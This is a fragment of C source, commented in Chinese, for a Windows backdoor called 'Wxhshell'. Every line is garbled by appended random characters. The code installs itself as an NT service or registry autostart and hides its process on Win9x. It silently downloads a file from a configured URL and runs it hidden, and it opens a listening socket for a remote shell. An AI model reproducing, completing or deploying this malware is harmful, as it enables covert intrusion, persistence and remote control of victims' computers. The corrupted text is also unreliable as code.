DWORD ExitStatus; N>V\
DWORD PebBaseAddress; ,zF^^,lO7
DWORD AffinityMask; Cx~,wk;=
DWORD BasePriority; ZNfQM&<d
ULONG UniqueProcessId; eewlK]
ULONG InheritedFromUniqueProcessId; 'kuLkM,
} PROCESS_BASIC_INFORMATION; o?,c#g
cQzUR^oq,
PROCNTQSIP NtQueryInformationProcess; cnw?3/J
H8!;
XB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8kdJ;%^N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2^aXXPC
WRCf[5
HANDLE hProcess; a~*wZJ
PROCESS_BASIC_INFORMATION pbi; .@KI,_X6,
oaac.7.fV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jb;@'o6
if(NULL == hInst ) return 0; 6uS;H]nd<
,vDSY N6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Fj*sS8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8*x/NaH
/\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \Gl>$5np
`8 Ann~Z|k
if (!NtQueryInformationProcess) return 0; tD^$}u6
*lo0T93B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `;
+UWdAR
if(!hProcess) return 0; "?AJ(>wP
b?U2g?lN:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r }S>t~p:
n@=D,'cn
CloseHandle(hProcess); b3 NEYn
>PS`;S!(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0n/+X[%Ti
if(hProcess==NULL) return 0; ;$Pjl8\
d~abWBgC`
HMODULE hMod; r91b]m3xL
char procName[255]; [gaB}aLn
unsigned long cbNeeded; j&-<e7O=
<Z
j>}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w#
R0QF
GT 5J`
CloseHandle(hProcess); b3.}m[]
k0bDEz.X
if(strstr(procName,"services")) return 1; // 以服务启动 1v~1?+a\2
dy.U;
return 0; // 注册表启动 .Lm0$o*`
} ){< qp
Lk lD^AJA
// 主模块 Uz_OUTFM
int StartWxhshell(LPSTR lpCmdLine) G,X> f?
{ 2cQG2N2*
SOCKET wsl; ,p' ;Xg6ez
BOOL val=TRUE; ubs>(\`q"
int port=0; ]KM3G
struct sockaddr_in door; RI2/hrW
7pO/!Lm
if(wscfg.ws_autoins) Install(); YH,u*.I^/
!g[UFw
port=atoi(lpCmdLine); LjySO2
kInU,/R*
if(port<=0) port=wscfg.ws_port; =m-nvXD
{d '>J<Da
WSADATA data; &BxZ}JH=k
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; je;|zfe]
^wlo;.8Y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cqG&n0zb
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4?33t] "
door.sin_family = AF_INET; HSj=g}r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); DQ.; 2W
door.sin_port = htons(port); zP8rW5/
quL+UFuM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7r{159&=
closesocket(wsl); |wM<n
return 1; 6<o2 0(?
} 8}Cp(z2
AhU
if(listen(wsl,2) == INVALID_SOCKET) { CHckmCgf4
closesocket(wsl); AOM@~qyc
return 1; 3S"kw
} ,lFhLj7
Wxhshell(wsl); 4 3G2{
WSACleanup(); =X3Rk)2r
|"+UCAU
return 0; CwaW>(`v
u=
Vt3%q
} o(stXa
J+u z{
// 以NT服务方式启动 gaU(ebsE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iE#I^`^V
{ ;m~%57.;\
DWORD status = 0; ipD/dx.
DWORD specificError = 0xfffffff; a8 .x=j<
7|DPevrk
serviceStatus.dwServiceType = SERVICE_WIN32; [5-3PuT&9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $T7(AohR
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H`OJN.
serviceStatus.dwWin32ExitCode = 0; (9KiIRN
serviceStatus.dwServiceSpecificExitCode = 0; TJ>$ ~9&Sy
serviceStatus.dwCheckPoint = 0; :~Ppv5W.
serviceStatus.dwWaitHint = 0; i#%!J:_=
^wD@)Dz
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RG6U~o1
if (hServiceStatusHandle==0) return; ,.i)(Or
#{g6'9PMz
status = GetLastError(); YhO-ecN
if (status!=NO_ERROR) a{\<L/\
{ mJ'5!G
serviceStatus.dwCurrentState = SERVICE_STOPPED; ozkmZ;
serviceStatus.dwCheckPoint = 0; S\0?~l"}
serviceStatus.dwWaitHint = 0; :+Tvq,/"
serviceStatus.dwWin32ExitCode = status;
Xz!O}M{4
serviceStatus.dwServiceSpecificExitCode = specificError; \<%?=C'w~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JgMYy,q8t
return; P;K <P
} jg3T1ROL
.$zo_~ mR
serviceStatus.dwCurrentState = SERVICE_RUNNING; &+" )~2
+
serviceStatus.dwCheckPoint = 0; H'?dsc
serviceStatus.dwWaitHint = 0; !Q=xIS
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^oDSU7j5,
} 1q/Q@O
)#v0.pE
// 处理NT服务事件,比如:启动、停止 AEo
VOID WINAPI NTServiceHandler(DWORD fdwControl)
%Krf,H
{ ^q\9HBHT
switch(fdwControl) K?6#jT6#
{ ]O0:0Z\
case SERVICE_CONTROL_STOP: @i(;}rx
serviceStatus.dwWin32ExitCode = 0; kqZ+e/o>O9
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~IQw?a.E
serviceStatus.dwCheckPoint = 0; ZDr&Alp)o
serviceStatus.dwWaitHint = 0; K9c5HuGy
{ bj_oA
i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .-}F~FES
} lj 2OOU{
return; +K:hetv
case SERVICE_CONTROL_PAUSE: 'Omj-o'tn9
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~#|Pe1Y
break; f5,!,]XO
case SERVICE_CONTROL_CONTINUE: sh;>6xB
serviceStatus.dwCurrentState = SERVICE_RUNNING; `|e3OCU
break; u.,l_D_
case SERVICE_CONTROL_INTERROGATE: wqAj=1M\
break; V%JG :'6L
}; O[^u<*fi{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\KJw
} $kxP{0u
`:kI@TPI_C
// 标准应用程序主函数 HB9|AQ4K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~JTp8E9kw
{ p]x9hZ
5^C.}/#>F
// 获取操作系统版本 Yl"l|2
:
OsIsNt=GetOsVer(); cc:,,T/i
GetModuleFileName(NULL,ExeFile,MAX_PATH); wg=-&-
b|nh4g
// 从命令行安装 JQH>{OB
if(strpbrk(lpCmdLine,"iI")) Install(); =4804N7
et}%E9
// 下载执行文件 i7foZ\btFc
if(wscfg.ws_downexe) { kGW4kuh)/q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /yFs$t>9
WinExec(wscfg.ws_filenam,SW_HIDE); 66|$X,
} C]NL9Gq`
a$]i8AeG
if(!OsIsNt) { e#s-MK-Q
// 如果时win9x,隐藏进程并且设置为注册表启动 u9D#5NvGs
HideProc(); >_SqM! ^v
StartWxhshell(lpCmdLine); TgvBy
} `-[|@QNFz
else YxWA]
yL
if(StartFromService()) @]@6(To
// 以服务方式启动 0tEe
$9eK@
StartServiceCtrlDispatcher(DispatchTable); *#7]PA Qw
else ~JG\b?s
// 普通方式启动 |yVveJ
StartWxhshell(lpCmdLine); ?+?`Jso(
.{4U]a;[
return 0; xH>2$ ;f
}